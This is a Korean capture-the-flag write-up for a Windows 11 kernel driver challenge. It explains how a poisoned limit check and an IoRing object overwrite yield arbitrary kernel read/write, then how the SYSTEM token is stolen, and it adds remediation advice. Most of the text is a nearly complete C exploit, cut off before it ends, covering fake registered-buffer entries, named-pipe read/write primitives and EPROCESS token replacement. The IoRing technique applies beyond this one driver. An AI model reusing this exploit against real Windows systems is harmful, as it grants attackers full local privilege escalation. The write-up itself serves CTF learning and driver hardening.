사용자 공간에 0x80바이트 크기의 가짜 _IOP_MC_BUFFER_ENTRY를 만들고, 한 원소짜리 포인터 배열이 이 엔트리를 가리키게 한다.

코드 블록 (c)

```
FakeEntry->Type            = 0x0c02;
FakeEntry->Size            = 0x80;
FakeEntry->ReferenceCount = 1;
FakeEntry->AccessMode      = 1;
FakeEntry->Address         = target_kernel_address;
FakeEntry->Length          = requested_length;

FakeBufferArray[0] = (uint64_t)FakeEntry;
```

IoRing 요청을 만들 때 등록 버퍼 인덱스 0을 지정하면 커널은 FakeBufferArray[0]을 정상 등록 버퍼 엔트리처럼 사용한다. 각 요청 전에 Address와 Length만 바꾸면 원하는 커널 주소를 I/O 버퍼로 사용할 수 있다.

KernelBase가 관리하는 사용자 모드 HIORING에도 등록 버퍼 정보가 따로 있다. 빌더 함수의 사용자 모드 검사를 통과시키기 위해 다음 값도 가짜 배열과 일치시켰다.

코드 블록 (text)

```
HIORING + 0x40 : RegBufferArray = FakeBufferArray
HIORING + 0x48 : BufferArraySize = 1
```

Named pipe를 이용한 커널 읽기

BuildIoRingWriteFile은 등록 버퍼의 내용을 파일 핸들로 쓴다. 등록 버퍼 주소를 커널 주소로 지정하고 출력 파이프의 클라이언트 핸들에 쓰도록 요청하면, 반대쪽 서버 핸들에서 커널 메모리를 읽을 수 있다.

코드 블록 (text)

```
kernel address
    -> fake registered buffer
    -> BuildIoRingWriteFile
    -> output pipe client
    -> ReadFile(output pipe server)
    -> user buffer
```

Named pipe를 이용한 커널 쓰기

반대 방향은 BuildIoRingReadFile을 사용한다. 입력 파이프 서버에 원하는 값을 먼저 쓰고, 읽기 요청의 대상 등록 버퍼를 커널 주소로 지정한다.

코드 블록 (text)

```
user buffer
    -> WriteFile(input pipe server)
    -> input pipe client
    -> BuildIoRingReadFile
    -> fake registered buffer
    -> kernel address
```

이 두 연산으로 최대 0x1000바이트 단위의 임의 커널 읽기·쓰기를 얻었다.

SYSTEM 토큰 획득

IOCTL_MSG_QUERY 결과의 +0x58에는 드라이버 핸들을 열 때 저장된 현재 스레드의 ETHREAD 주소가 들어 있다. 이 누출 덕분에 커널 베이스 주소를 별도로 구할 필요가 없다.

대상 빌드에서 사용한 프로세스 관련 오프셋은 다음과 같다.

구조체	필드	오프셋
_KTHREAD	Process	0x220
_EPROCESS	UniqueProcessId	0x1d0
_EPROCESS	ActiveProcessLinks	0x1d8
_EPROCESS	Token	0x248

먼저 ETHREAD + 0x220에서 현재 EPROCESS를 읽고, UniqueProcessId가 GetCurrentProcessId()와 같은지 확인했다. 이 검사는 잘못된 오프셋으로 임의 커널 주소를 덮어쓰는 사고를 방지한다.

그다음 ActiveProcessLinks 이중 연결 리스트를 순회해 PID 4의 EPROCESS를 찾는다.

코드 블록 (c)

```
next_link = read64(process + 0x1d8);
process   = next_link - 0x1d8;
pid       = read64(process + 0x1d0);
```

PID 4 프로세스에서 SYSTEM 토큰을 읽고 현재 프로세스의 _EX_FAST_REF 하위 비트를 보존해 교체한다.

코드 블록 (c)

```
new_token = (system_token & ~0xfULL) | (current_token & 0xfULL);
write64(current_process + 0x248, new_token);
```

이후 프로세스는 SYSTEM 권한으로 C:₩flag.txt를 열어 내용을 표준 출력으로 내보낼 수 있다.

익스플로잇 실행 순서

최종 익스플로잇은 다음 순서로 동작한다.

- QueryIoRingCapabilities와 IoRing API 주소를 동적으로 구한다.
- CreateIoRing(IORING_VERSION_3, ...)으로 정상 IoRing을 만든다.
- ₩₩.₩MsgDriver를 열고 IoRing 커널 핸들을 바인딩한다.
- 컨텍스트 조회 IOCTL로 현재 ETHREAD 주소를 얻는다.
- 가짜 등록 버퍼 배열과 엔트리를 사용자 공간에 할당한다.
- 실패하는 limit 요청으로 컨텍스트 한계를 0xc0으로 오염시킨다.
- IoRing의 RegBuffers와 RegBuffersCount를 가짜 테이블로 교체한다.
- 사용자 모드 HIORING의 등록 버퍼 필드도 동일하게 맞춘다.
- Named pipe 두 쌍으로 임의 커널 읽기·쓰기를 만든다.
- 현재 EPROCESS와 PID 4 EPROCESS를 찾아 SYSTEM 토큰을 복사한다.
- IoRing의 커널 및 사용자 모드 등록 버퍼 필드를 0으로 복구한다.
- IoRing과 드라이버 핸들을 닫고 C:₩flag.txt를 출력한다.

IoRing 필드는 닫기 전에 반드시 복구해야 한다. 커널 객체에 사용자 공간의 가짜 배열 주소가 남은 상태에서 정리 경로가 실행되면 잘못된 포인터 역참조로 시스템이 중단될 수 있다.

첫 제출 실패와 수정

첫 제출은 다음 오류로 종료됐다.

코드 블록 (text)

```
[-] CreateIoRing(v3) failed: 0x80460003
```

원인은 IORING_VERSION_3의 실제 ABI 값이다. enum에서 세 번째 버전처럼 보이지만 값은 3이 아니라 300이다. 최신 정의에서는 v3과 v4가 다음 값을 사용한다.

코드 블록 (c)

```
IORING_VERSION_3 = 300;
IORING_VERSION_4 = 400;
```

따라서 다음 상수를 수정한 뒤 원격 실행에 성공했다.

코드 블록 (c)

```
#define IORING_VERSION_3_VALUE 300u
```

드라이버 요청의 MSG_VERSION = 0x00030000과 Win32 IoRing API의 버전 값 300을 혼동하지 않는 것이 중요하다.

빌드와 제출

MinGW-w64로 정적 크기가 작은 x64 콘솔 PE를 만들었다.

코드 블록 (sh)

```
x86_64-w64-mingw32-gcc -O2 -s -Wall -Wextra -Werror ₩
    -o solve.exe solve.c
```

최종 파일 정보는 다음과 같다.

코드 블록 (text)

```
PE32+ executable (console) x86-64
크기: 45,568 bytes
Import DLL: KERNEL32.dll, msvcrt.dll
ASLR: enabled
NX: enabled
```

solve.exe를 원격 실행 환경에 제출하면 SYSTEM 토큰 교체 후 다음 형식으로 실제 플래그가 출력된다.

코드 블록 (text)

```
[+] process token replaced with SYSTEM token
[+] C:₩flag.txt:
msgctf2026{10r1ng_w1nd0w_d35ync_kthr34d_l34k_8875}
```

저장소의 flag.txt는 예시일 뿐이며, 정답은 원격 VM의 C:₩flag.txt에서 얻은 값이다.

수정 방안

드라이버를 안전하게 만들려면 다음 변경이 필요하다.

- 입력값을 검증한 뒤에만 핸들별 컨텍스트를 갱신한다.
- 실패하는 IOCTL이 컨텍스트에 부분 상태를 남기지 않게 한다.
- 사용자 지정 오프셋으로 커널 객체 본문을 직접 쓰는 인터페이스를 제거한다.
- 불가피하다면 허용 필드를 명시적으로 열거하고 정확한 타입과 크기로 복사한다.
- 장치 ACL을 최소 권한으로 제한하고 일반 사용자에게 커널 객체 조작 IOCTL을 노출하지 않는다.
- 커널 주소가 포함된 컨텍스트나 ETHREAD 포인터를 사용자 모드에 반환하지 않는다.

이 문제는 각각의 버그가 단독으로는 제한적으로 보여도, 상태 오염·객체 내부 쓰기·커널 주소 누출이 결합되면 완전한 로컬 권한 상승으로 이어질 수 있음을 보여준다.

참고 자료

- Microsoft CreateIoRing documentation (https://learn.microsoft.com/windows/win32/api/ioringapi/nf-ioringapi-createioring)
- Microsoft IORING_VERSION documentation (https://learn.microsoft.com/windows/win32/api/ntioring_x/ne-ntioring_x-ioring_version)
- IoRing read and write primitive reference implementation (https://github.com/yardenshafir/IoRingReadWritePrimitive)
- KernelArchive (https://kernelarchive.com/)

익스플로잇 코드 / 분석 코드 전체

전체 파일: msgdriver_solve.c · 690 lines · SHA-256 3bf2d61a78f227fe0aaf1be94e270a0f845d5836367732f049deeff7942e89b1

```c
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <string.h>

/*
 * msgdriver exploit for Windows 11 25H2 x64, build 26200.8875.
 *
 * The driver holds a reference to an IoRing object and exposes an eight-byte
 * write at a caller-controlled byte offset inside the object.  Corrupting
 * RegBuffersCount and RegBuffers turns registered-buffer IoRing operations
 * into a kernel read/write primitive.
 */

#define IOCTL_MSG_BIND        0x83372000u
#define IOCTL_MSG_SET_LIMIT   0x83372004u
#define IOCTL_MSG_WRITE       0x83372008u
#define IOCTL_MSG_QUERY       0x8337200cu

#define MSG_VERSION                   0x00030000u
#define IORING_REG_COUNT_OFFSET       0xB0u
#define IORING_REG_BUFFERS_OFFSET     0xB8u

#define KTHREAD_PROCESS_OFFSET        0x220u
#define EPROCESS_PID_OFFSET           0x1D0u
#define EPROCESS_LINKS_OFFSET         0x1D8u
#define EPROCESS_TOKEN_OFFSET         0x248u
```

```
#define IORING_VERSION_3_VALUE        300u
#define IORING_REF_RAW_VALUE          0u
#define IORING_REF_REGISTERED_VALUE   1u

typedef void *HIORING_X;

typedef struct _IORING_CREATE_FLAGS_X {
    uint32_t Required;
    uint32_t Advisory;
} IORING_CREATE_FLAGS_X;

typedef struct _IORING_HANDLE_REF_X {
    uint32_t Kind;
    uint32_t Padding;
    union {
        HANDLE Handle;
        uint32_t Index;
        uint64_t Value;
    } u;
} IORING_HANDLE_REF_X;

typedef struct _IORING_BUFFER_REF_X {
    uint32_t Kind;
    uint32_t Padding;
    union {
        void *Address;
        struct {
            uint32_t Index;
            uint32_t Offset;
        } IndexAndOffset;
        uint64_t Value;
    } u;
} IORING_BUFFER_REF_X;

typedef struct _IORING_CQE_X {
    uintptr_t UserData;
    LONG ResultCode;
    uint32_t Padding;
    uintptr_t Information;
} IORING_CQE_X;

typedef struct _IORING_CAPABILITIES_X {
    uint32_t MaxVersion;
    uint32_t MaxSubmissionQueueSize;
    uint32_t MaxCompletionQueueSize;
    uint32_t FeatureFlags;
} IORING_CAPABILITIES_X;

typedef HRESULT (WINAPI *PFN_QueryIoRingCapabilities)(IORING_CAPABILITIES_X *caps);
typedef HRESULT (WINAPI *PFN_CreateIoRing)(uint32_t version,
                                           IORING_CREATE_FLAGS_X flags,
                                           uint32_t submissionQueueSize,
                                           uint32_t completionQueueSize,
                                           HIORING_X *ring);
typedef HRESULT (WINAPI *PFN_BuildIoRingReadFile)(HIORING_X ring,
                                                  IORING_HANDLE_REF_X fileRef,
                                                  IORING_BUFFER_REF_X dataRef,
                                                  uint32_t length,
                                                  uint64_t fileOffset,
                                                  uintptr_t userData,
                                                  uint32_t sqeFlags);
typedef HRESULT (WINAPI *PFN_BuildIoRingWriteFile)(HIORING_X ring,
                                                   IORING_HANDLE_REF_X fileRef,
                                                   IORING_BUFFER_REF_X dataRef,
                                                   uint32_t length,
                                                   uint64_t fileOffset,
                                                   uint32_t writeFlags,
                                                   uintptr_t userData,
                                                   uint32_t sqeFlags);
typedef HRESULT (WINAPI *PFN_SubmitIoRing)(HIORING_X ring,
                                           uint32_t waitOperations,
                                           uint32_t milliseconds,
                                           uint32_t *submittedEntries);
typedef HRESULT (WINAPI *PFN_PopIoRingCompletion)(HIORING_X ring,
                                                  IORING_CQE_X *cqe);
typedef HRESULT (WINAPI *PFN_CloseIoRing)(HIORING_X ring);

typedef struct _MSG_BIND_REQUEST {
    uint32_t Version;
    uint32_t Size;
    uint64_t IoRingHandle;
    uint64_t Flags;
} MSG_BIND_REQUEST;

typedef struct _MSG_SET_LIMIT_REQUEST {
    uint32_t Version;
    uint32_t Size;
    uint64_t Limit;
} MSG_SET_LIMIT_REQUEST;

typedef struct _MSG_WRITE_REQUEST {
    uint32_t Version;
    uint32_t Size;
    uint64_t Offset;
    uint64_t Value;
} MSG_WRITE_REQUEST;

typedef struct _FAKE_MC_BUFFER_ENTRY {
    uint16_t Type;                  /* +0x00 */
```

```
    uint16_t Reserved;
    uint32_t Size;                  /* +0x04 */
    LONG ReferenceCount;            /* +0x08 */
    uint32_t Flags;                 /* +0x0c */
    uint64_t GlobalDataLink[2];     /* +0x10 */
    void *Address;                  /* +0x20 */
    uint32_t Length;                /* +0x28 */
    char AccessMode;                /* +0x2c */
    char Pad2D[3];
    LONG MdlRef;                    /* +0x30 */
    char Rest[0x80 - 0x34];
} FAKE_MC_BUFFER_ENTRY;

_Static_assert(sizeof(IORING_CREATE_FLAGS_X) == 0x08, "IoRing flags ABI mismatch");
_Static_assert(sizeof(IORING_HANDLE_REF_X) == 0x10, "IoRing handle-ref ABI mismatch");
_Static_assert(sizeof(IORING_BUFFER_REF_X) == 0x10, "IoRing buffer-ref ABI mismatch");
_Static_assert(sizeof(IORING_CQE_X) == 0x18, "IoRing CQE ABI mismatch");
_Static_assert(sizeof(MSG_BIND_REQUEST) == 0x18, "bind request ABI mismatch");
_Static_assert(sizeof(MSG_SET_LIMIT_REQUEST) == 0x10, "limit request ABI mismatch");
_Static_assert(sizeof(MSG_WRITE_REQUEST) == 0x18, "write request ABI mismatch");
_Static_assert(sizeof(FAKE_MC_BUFFER_ENTRY) == 0x80, "fake buffer size mismatch");
_Static_assert(offsetof(FAKE_MC_BUFFER_ENTRY, Flags) == 0x0c, "fake flags offset mismatch");
_Static_assert(offsetof(FAKE_MC_BUFFER_ENTRY, Address) == 0x20, "fake address offset mismatch");
_Static_assert(offsetof(FAKE_MC_BUFFER_ENTRY, Length) == 0x28, "fake length offset mismatch");
_Static_assert(offsetof(FAKE_MC_BUFFER_ENTRY, MdlRef) == 0x30, "fake MDL ref offset mismatch");

typedef struct _EXPLOIT_CONTEXT {
    HANDLE Driver;
    HIORING_X Ring;
    PFN_QueryIoRingCapabilities QueryCaps;
    PFN_CreateIoRing CreateRing;
    PFN_BuildIoRingReadFile BuildRead;
    PFN_BuildIoRingWriteFile BuildWrite;
    PFN_SubmitIoRing Submit;
    PFN_PopIoRingCompletion Pop;
    PFN_CloseIoRing CloseRing;
    uint64_t *FakeBufferArray;
    FAKE_MC_BUFFER_ENTRY *FakeEntry;

    HANDLE InputServer;
    HANDLE InputClient;
    HANDLE OutputServer;
    HANDLE OutputClient;

    BOOL Bound;
    BOOL RingCorrupted;
} EXPLOIT_CONTEXT;

static BOOL hr_ok(HRESULT hr)
{
    return hr >= 0;
}

static FARPROC resolve_ioring_export(const char *name)
{
    HMODULE module;
    FARPROC address;

    module = GetModuleHandleW(L"kernel32.dll");
    address = module ? GetProcAddress(module, name) : NULL;
    if (address != NULL) {
        return address;
    }

    module = GetModuleHandleW(L"kernelbase.dll");
    if (module == NULL) {
        module = LoadLibraryW(L"kernelbase.dll");
    }
    return module ? GetProcAddress(module, name) : NULL;
}

static BOOL load_ioring_api(EXPLOIT_CONTEXT *ctx)
{
    FARPROC address;

#define LOAD_IORING_PROC(Member, Name)                                  ₩
    do {                                                                ₩
        address = resolve_ioring_export(Name);                          ₩
        memcpy(&ctx->Member, &address, sizeof(ctx->Member));            ₩
    } while (0)

    LOAD_IORING_PROC(QueryCaps, "QueryIoRingCapabilities");
    LOAD_IORING_PROC(CreateRing, "CreateIoRing");
    LOAD_IORING_PROC(BuildRead, "BuildIoRingReadFile");
    LOAD_IORING_PROC(BuildWrite, "BuildIoRingWriteFile");
    LOAD_IORING_PROC(Submit, "SubmitIoRing");
    LOAD_IORING_PROC(Pop, "PopIoRingCompletion");
    LOAD_IORING_PROC(CloseRing, "CloseIoRing");

#undef LOAD_IORING_PROC

    return ctx->CreateRing && ctx->BuildRead && ctx->BuildWrite &&
           ctx->Submit && ctx->Pop && ctx->CloseRing;
}

static BOOL driver_ioctl(HANDLE driver, DWORD code,
                         void *input, DWORD inputLength,
                         void *output, DWORD outputLength,
                         DWORD *bytesReturned)
{
```

```
    DWORD localBytes = 0;
    BOOL result = DeviceIoControl(driver, code, input, inputLength,
                                  output, outputLength, &localBytes, NULL);
    if (bytesReturned != NULL) {
        *bytesReturned = localBytes;
    }
    return result;
}

static BOOL driver_bind(EXPLOIT_CONTEXT *ctx, HANDLE ringHandle)
{
    MSG_BIND_REQUEST request;

    memset(&request, 0, sizeof(request));
    request.Version = MSG_VERSION;
    request.Size = sizeof(request);
    request.IoRingHandle = (uint64_t)(uintptr_t)ringHandle;

    if (!driver_ioctl(ctx->Driver, IOCTL_MSG_BIND, &request, sizeof(request),
                      &request, sizeof(request), NULL)) {
        printf("[-] bind failed: %lu₩n", GetLastError());
        return FALSE;
    }
    ctx->Bound = TRUE;
    return TRUE;
}

/*
 * The driver stores Limit before checking that it is <= 0xb0.  Supplying
 * 0xc0 returns STATUS_INVALID_PARAMETER but leaves the enlarged bound in the
 * per-handle context, allowing the write at offset 0xb8.
 */
static void driver_poison_limit(EXPLOIT_CONTEXT *ctx)
{
    MSG_SET_LIMIT_REQUEST request;

    memset(&request, 0, sizeof(request));
    request.Version = MSG_VERSION;
    request.Size = sizeof(request);
    request.Limit = 0xC0;
    driver_ioctl(ctx->Driver, IOCTL_MSG_SET_LIMIT, &request, sizeof(request),
                 &request, sizeof(request), NULL);
}

static BOOL driver_write_ioring(EXPLOIT_CONTEXT *ctx, uint16_t offset, uint64_t value)
{
    MSG_WRITE_REQUEST request;

    memset(&request, 0, sizeof(request));
    request.Version = MSG_VERSION;
    request.Size = sizeof(request);
    request.Offset = offset;
    request.Value = value;

    if (!driver_ioctl(ctx->Driver, IOCTL_MSG_WRITE, &request, sizeof(request),
                      &request, sizeof(request), NULL)) {
        printf("[-] IoRing+0x%x write failed: %lu₩n", offset, GetLastError());
        return FALSE;
    }
    return TRUE;
}

static BOOL driver_leak_ethread(EXPLOIT_CONTEXT *ctx, uint64_t *ethread)
{
    uint8_t input[8];
    uint8_t output[0x60];
    DWORD bytes = 0;

    memset(input, 0, sizeof(input));
    memset(output, 0, sizeof(output));
    *(uint32_t *)(input + 0) = MSG_VERSION;
    *(uint32_t *)(input + 4) = sizeof(input);

    if (!driver_ioctl(ctx->Driver, IOCTL_MSG_QUERY, input, sizeof(input),
                      output, sizeof(output), &bytes)) {
        printf("[-] context query failed: %lu₩n", GetLastError());
        return FALSE;
    }
    if (bytes < sizeof(output)) {
        printf("[-] short context query: %lu₩n", bytes);
        return FALSE;
    }

    memcpy(ethread, output + 0x58, sizeof(*ethread));
    return *ethread >= 0xffff800000000000ULL;
}

static BOOL create_pipe_pair(const wchar_t *name, HANDLE *server, HANDLE *client)
{
    *server = CreateNamedPipeW(name,
                               PIPE_ACCESS_DUPLEX,
                               PIPE_TYPE_BYTE | PIPE_READMODE_BYTE | PIPE_WAIT,
                               1, 0x1000, 0x1000, 0, NULL);
    if (*server == INVALID_HANDLE_VALUE) {
        return FALSE;
    }

    *client = CreateFileW(name,
                          GENERIC_READ | GENERIC_WRITE,
```

```
                        FILE_SHARE_READ | FILE_SHARE_WRITE,
                        NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (*client == INVALID_HANDLE_VALUE) {
        CloseHandle(*server);
        *server = INVALID_HANDLE_VALUE;
        return FALSE;
    }
    return TRUE;
}

static BOOL finish_one_ioring_request(EXPLOIT_CONTEXT *ctx)
{
    uint32_t submitted = 0;
    IORING_CQE_X cqe;
    HRESULT hr;

    memset(&cqe, 0, sizeof(cqe));
    hr = ctx->Submit(ctx->Ring, 1, 5000, &submitted);
    if (!hr_ok(hr)) {
        printf("[-] SubmitIoRing failed: 0x%08lx₩n", (unsigned long)hr);
        return FALSE;
    }
    hr = ctx->Pop(ctx->Ring, &cqe);
    if (!hr_ok(hr)) {
        printf("[-] PopIoRingCompletion failed: 0x%08lx₩n", (unsigned long)hr);
        return FALSE;
    }
    if (cqe.ResultCode < 0) {
        printf("[-] IoRing CQE failed: 0x%08lx₩n", (unsigned long)cqe.ResultCode);
        return FALSE;
    }
    return TRUE;
}

static BOOL kernel_read(EXPLOIT_CONTEXT *ctx, uint64_t address,
                        void *buffer, uint32_t length)
{
    IORING_HANDLE_REF_X fileRef;
    IORING_BUFFER_REF_X bufferRef;
    DWORD bytes = 0;
    HRESULT hr;

    if (length == 0 || length > 0x1000) {
        return FALSE;
    }

    ctx->FakeEntry->Address = (void *)(uintptr_t)address;
    ctx->FakeEntry->Length = length;

    memset(&fileRef, 0, sizeof(fileRef));
    fileRef.Kind = IORING_REF_RAW_VALUE;
    fileRef.u.Handle = ctx->OutputClient;

    memset(&bufferRef, 0, sizeof(bufferRef));
    bufferRef.Kind = IORING_REF_REGISTERED_VALUE;
    bufferRef.u.IndexAndOffset.Index = 0;
    bufferRef.u.IndexAndOffset.Offset = 0;

    hr = ctx->BuildWrite(ctx->Ring, fileRef, bufferRef, length, 0,
                         0, 0, 0);
    if (!hr_ok(hr)) {
        printf("[-] BuildIoRingWriteFile failed: 0x%08lx₩n", (unsigned long)hr);
        return FALSE;
    }
    if (!finish_one_ioring_request(ctx)) {
        return FALSE;
    }

    if (!ReadFile(ctx->OutputServer, buffer, length, &bytes, NULL) || bytes != length) {
        printf("[-] kernel-read pipe failed: %lu (%lu/%u)₩n",
               GetLastError(), bytes, length);
        return FALSE;
    }
    return TRUE;
}

static BOOL kernel_write(EXPLOIT_CONTEXT *ctx, uint64_t address,
                         const void *buffer, uint32_t length)
{
    IORING_HANDLE_REF_X fileRef;
    IORING_BUFFER_REF_X bufferRef;
    DWORD bytes = 0;
    HRESULT hr;

    if (length == 0 || length > 0x1000) {
        return FALSE;
    }

    if (!WriteFile(ctx->InputServer, buffer, length, &bytes, NULL) || bytes != length) {
        printf("[-] kernel-write pipe failed: %lu (%lu/%u)₩n",
               GetLastError(), bytes, length);
        return FALSE;
    }

    ctx->FakeEntry->Address = (void *)(uintptr_t)address;
    ctx->FakeEntry->Length = length;

    memset(&fileRef, 0, sizeof(fileRef));
    fileRef.Kind = IORING_REF_RAW_VALUE;
```

```
    fileRef.u.Handle = ctx->InputClient;

    memset(&bufferRef, 0, sizeof(bufferRef));
    bufferRef.Kind = IORING_REF_REGISTERED_VALUE;
    bufferRef.u.IndexAndOffset.Index = 0;
    bufferRef.u.IndexAndOffset.Offset = 0;

    hr = ctx->BuildRead(ctx->Ring, fileRef, bufferRef, length, 0, 0, 0);
    if (!hr_ok(hr)) {
        printf("[-] BuildIoRingReadFile failed: 0x%08lx₩n", (unsigned long)hr);
        return FALSE;
    }
    return finish_one_ioring_request(ctx);
}

static BOOL read_u64(EXPLOIT_CONTEXT *ctx, uint64_t address, uint64_t *value)
{
    return kernel_read(ctx, address, value, sizeof(*value));
}

static BOOL steal_system_token(EXPLOIT_CONTEXT *ctx, uint64_t ethread)
{
    uint64_t currentProcess;
    uint64_t currentPid;
    uint64_t currentToken;
    uint64_t listEntry;
    uint64_t process;
    uint64_t pid;
    uint64_t systemToken;
    uint64_t newToken;
    DWORD expectedPid = GetCurrentProcessId();
    unsigned int i;

    if (!read_u64(ctx, ethread + KTHREAD_PROCESS_OFFSET, &currentProcess)) {
        return FALSE;
    }
    if (!read_u64(ctx, currentProcess + EPROCESS_PID_OFFSET, &currentPid)) {
        return FALSE;
    }
    if ((DWORD)currentPid != expectedPid) {
        printf("[-] EPROCESS sanity check failed: kernel PID %llu, user PID %lu₩n",
               (unsigned long long)currentPid, expectedPid);
        return FALSE;
    }

    if (!read_u64(ctx, currentProcess + EPROCESS_TOKEN_OFFSET, &currentToken)) {
        return FALSE;
    }

    process = currentProcess;
    for (i = 0; i < 4096; ++i) {
        if (!read_u64(ctx, process + EPROCESS_LINKS_OFFSET, &listEntry)) {
            return FALSE;
        }
        if (listEntry < EPROCESS_LINKS_OFFSET) {
            return FALSE;
        }
        process = listEntry - EPROCESS_LINKS_OFFSET;
        if (!read_u64(ctx, process + EPROCESS_PID_OFFSET, &pid)) {
            return FALSE;
        }
        if (pid == 4) {
            break;
        }
    }
    if (i == 4096) {
        printf("[-] SYSTEM EPROCESS not found₩n");
        return FALSE;
    }

    if (!read_u64(ctx, process + EPROCESS_TOKEN_OFFSET, &systemToken)) {
        return FALSE;
    }
    newToken = (systemToken & ~0xFULL) | (currentToken & 0xFULL);

    printf("[+] ETHREAD          = 0x%016llx₩n", (unsigned long long)ethread);
    printf("[+] current EPROCESS= 0x%016llx₩n", (unsigned long long)currentProcess);
    printf("[+] SYSTEM EPROCESS = 0x%016llx₩n", (unsigned long long)process);

    if (!kernel_write(ctx, currentProcess + EPROCESS_TOKEN_OFFSET,
                      &newToken, sizeof(newToken))) {
        return FALSE;
    }
    return TRUE;
}

static void restore_and_release(EXPLOIT_CONTEXT *ctx)
{
    if (ctx->RingCorrupted && ctx->Bound && ctx->Driver != INVALID_HANDLE_VALUE) {
        /* Remove the pointer first; no more IoRing requests are issued here. */
        driver_write_ioring(ctx, IORING_REG_BUFFERS_OFFSET, 0);
        driver_write_ioring(ctx, IORING_REG_COUNT_OFFSET, 0);

        if (ctx->Ring != NULL) {
            *(void **)((uint8_t *)ctx->Ring + 0x40) = NULL;
            *(uint32_t *)((uint8_t *)ctx->Ring + 0x48) = 0;
        }
        ctx->RingCorrupted = FALSE;
    }
```

```
    if (ctx->OutputClient != INVALID_HANDLE_VALUE) CloseHandle(ctx->OutputClient);
    if (ctx->OutputServer != INVALID_HANDLE_VALUE) CloseHandle(ctx->OutputServer);
    if (ctx->InputClient != INVALID_HANDLE_VALUE) CloseHandle(ctx->InputClient);
    if (ctx->InputServer != INVALID_HANDLE_VALUE) CloseHandle(ctx->InputServer);

    if (ctx->Ring != NULL && ctx->CloseRing != NULL) {
        ctx->CloseRing(ctx->Ring);
        ctx->Ring = NULL;
    }
    if (ctx->Driver != INVALID_HANDLE_VALUE) {
        CloseHandle(ctx->Driver);
        ctx->Driver = INVALID_HANDLE_VALUE;
    }

    if (ctx->FakeEntry != NULL) VirtualFree(ctx->FakeEntry, 0, MEM_RELEASE);
    if (ctx->FakeBufferArray != NULL) VirtualFree(ctx->FakeBufferArray, 0, MEM_RELEASE);
}

static BOOL print_flag(void)
{
    HANDLE file;
    char buffer[4097];
    DWORD bytes = 0;

    file = CreateFileW(L"C:₩₩flag.txt", GENERIC_READ,
                       FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
                       NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (file == INVALID_HANDLE_VALUE) {
        printf("[-] opening C:₩₩flag.txt failed: %lu₩n", GetLastError());
        return FALSE;
    }

    memset(buffer, 0, sizeof(buffer));
    if (!ReadFile(file, buffer, sizeof(buffer) - 1, &bytes, NULL)) {
        printf("[-] reading C:₩₩flag.txt failed: %lu₩n", GetLastError());
        CloseHandle(file);
        return FALSE;
    }
    CloseHandle(file);

    buffer[bytes] = '₩0';
    printf("[+] C:₩₩flag.txt:₩n%s", buffer);
    if (bytes == 0 || buffer[bytes - 1] != '₩n') {
        putchar('₩n');
    }
    fflush(stdout);
    return TRUE;
}

int main(void)
{
    EXPLOIT_CONTEXT ctx;
    IORING_CREATE_FLAGS_X flags;
    IORING_CAPABILITIES_X caps;
    uint32_t version = IORING_VERSION_3_VALUE;
    HANDLE rawRingHandle;
    uint64_t ethread = 0;
    HRESULT hr;
    BOOL success = FALSE;

    memset(&ctx, 0, sizeof(ctx));
    ctx.Driver = INVALID_HANDLE_VALUE;
    ctx.InputServer = INVALID_HANDLE_VALUE;
    ctx.InputClient = INVALID_HANDLE_VALUE;
    ctx.OutputServer = INVALID_HANDLE_VALUE;
    ctx.OutputClient = INVALID_HANDLE_VALUE;

    if (!load_ioring_api(&ctx)) {
        printf("[-] required IoRing exports are unavailable₩n");
        goto Exit;
    }

    memset(&caps, 0, sizeof(caps));
    if (ctx.QueryCaps != NULL && hr_ok(ctx.QueryCaps(&caps)) &&
        caps.MaxVersion < IORING_VERSION_3_VALUE) {
        printf("[-] IoRing version 3 is unsupported (max=%u)₩n", caps.MaxVersion);
        goto Exit;
    }

    memset(&flags, 0, sizeof(flags));
    hr = ctx.CreateRing(version, flags, 8, 16, &ctx.Ring);
    if (!hr_ok(hr)) {
        printf("[-] CreateIoRing(v%u) failed: 0x%08lx₩n",
               version, (unsigned long)hr);
        goto Exit;
    }

    ctx.Driver = CreateFileW(L"₩₩₩.₩₩MsgDriver",
                             GENERIC_READ | GENERIC_WRITE,
                             FILE_SHARE_READ | FILE_SHARE_WRITE,
                             NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
    if (ctx.Driver == INVALID_HANDLE_VALUE) {
        printf("[-] opening MsgDriver failed: %lu₩n", GetLastError());
        goto Exit;
    }

    rawRingHandle = *(HANDLE *)ctx.Ring;
    if (!driver_bind(&ctx, rawRingHandle)) {
        goto Exit;
```

```
    }
    if (!driver_leak_ethread(&ctx, &ethread)) {
        printf("[-] invalid ETHREAD leak₩n");
        goto Exit;
    }

    ctx.FakeBufferArray = (uint64_t *)VirtualAlloc(NULL, 0x1000,
                                                   MEM_COMMIT | MEM_RESERVE,
                                                   PAGE_READWRITE);
    ctx.FakeEntry = (FAKE_MC_BUFFER_ENTRY *)VirtualAlloc(NULL, 0x1000,
                                                         MEM_COMMIT | MEM_RESERVE,
                                                         PAGE_READWRITE);
    if (ctx.FakeBufferArray == NULL || ctx.FakeEntry == NULL) {
        printf("[-] VirtualAlloc failed: %lu₩n", GetLastError());
        goto Exit;
    }
    memset(ctx.FakeBufferArray, 0, 0x1000);
    memset(ctx.FakeEntry, 0, 0x1000);
    ctx.FakeEntry->Type = 0x0C02;
    ctx.FakeEntry->Size = 0x80;
    ctx.FakeEntry->ReferenceCount = 1;
    ctx.FakeEntry->AccessMode = 1;
    ctx.FakeBufferArray[0] = (uint64_t)(uintptr_t)ctx.FakeEntry;

    driver_poison_limit(&ctx);
    if (!driver_write_ioring(&ctx, IORING_REG_BUFFERS_OFFSET,
                             (uint64_t)(uintptr_t)ctx.FakeBufferArray)) {
        goto Exit;
    }
    if (!driver_write_ioring(&ctx, IORING_REG_COUNT_OFFSET, 1)) {
        driver_write_ioring(&ctx, IORING_REG_BUFFERS_OFFSET, 0);
        goto Exit;
    }
    ctx.RingCorrupted = TRUE;

    /* Mirror the fake registration in KernelBase's private HIORING object. */
    *(void **)((uint8_t *)ctx.Ring + 0x40) = ctx.FakeBufferArray;
    *(uint32_t *)((uint8_t *)ctx.Ring + 0x48) = 1;

    if (!create_pipe_pair(L"₩₩₩₩₩.₩₩pipe₩₩MsgDriverIoRingInput",
